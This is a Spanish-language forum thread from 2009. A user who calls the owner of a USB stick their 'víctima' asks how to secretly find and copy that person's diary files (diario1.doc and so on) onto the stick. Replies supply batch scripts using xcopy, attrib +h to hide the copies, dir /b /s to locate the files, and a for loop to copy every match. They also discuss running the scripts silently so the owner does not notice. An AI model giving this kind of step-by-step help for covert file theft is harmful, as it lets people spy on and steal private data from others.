Ver la versión completa : Copiar archivos sin ser visto
Hola: necesito su ayuda. Tengo necesidad de copiar unos archivos de una pc a una memoria usb. La memoria es de mi víctima. Una vez que inserte la memoria quiero que busque unos archivos en word con un nobre especifico: diario1.doc, diario2.doc, etc que los copie ocultos en la usb para que yo los lea luego... Se que es complicado pero alguien puede ayudarme? Gracias
clarinetista
06-05-2009, 13:45
Si te hubieras molestado en buscar hubieses encontrado algo como esto:
@echo off
IF ERRORLEVEL 2 GOTO ERROR
xcopy c:\rutacarpetaorigonal e:\rutacarpetadestino
echo Proceso Completa
pause
exit
:ERROR
pause
Es el segundo o tercer bat mas simple del mundo, ahora para buscar usas la condicional IF EXIST
Utilizar un script es lo más rápido y sencillo de implementar, pero presenta algunos inconvenientes...
Lo primero es conseguir que se ejecute cuando detecte la presencia del pen drive en el sistema.
Otro inconveniente es que no siempre la unidad "e:\" es la que hace referencia a la unidad de almacenamiento masivo en la que se quieren copiar los ficheros. Esto sin añadir que se copie sólo en un pen drive específico, y no en cualquiera.
Por último en caso de utilizar ese script, faltaría añadir el comando attrib +h para ocultar los ficheros.
Dependiendo de hasta donde quieres ocultar o perfeccionar tu propósito, la cosa puede complicarse un poco más.
Un saludo.
Muchas gracias por las respuestas, solo una consulta mas... Que instrucción añado para realizar una búsqueda pues no se donde están esos archivos. Gracias
Utilizando un script en batch? Con el comando "dir" puedes...
dir nombrefichero.extension /b /s
Ej: dir diario1.doc /b /s
Un saludo.
por favor estoy recien empezando a entender esto, hystd te pediría paciencia. Con el comando dir que mencionas puedo ubicar el archivo, pero como utilizo esa información para darle la ruta al comando xcopy de donde esta el archivo original automaticamente. Además quisiera que todas las operaciones no se muestren en pantalla (dado que no quiero que se sepa que estoy haciendo). Muchas gracias
Puedes volcar la salida de un comando (o programa) en la entrada de otro usando tuberías. El problema es que no todos los comandos o programas admiten la redirección de la entrada o salida estándar. Y este es por ejemplo el caso del comando copy.
Por tanto, una posible solución podría ser usar un fichero de texto temporal en donde almacenar la salida del comando dir para la búsqueda. Una vez finalizado el comando, leer linea a linea ese fichero temporal con el listado de los resultados de la búsqueda, y utilizar el comando copy (o xcopy) para cada linea en el listado, la cual será el primer argumento del comando copy (o xcopy). Puedes utilizar la instrucción FOR para realizar este cometido.
Una posible solución es la siguiente:
dir nombrefichero.extension /b /s > listado.txt
for /f %f in (listado.txt) do copy %f rutadestino
Por ejemplo:
dir diario1.doc /b /s > listado.txt
for /f %f in (listado.txt) do copy %f e:\
Un saludo.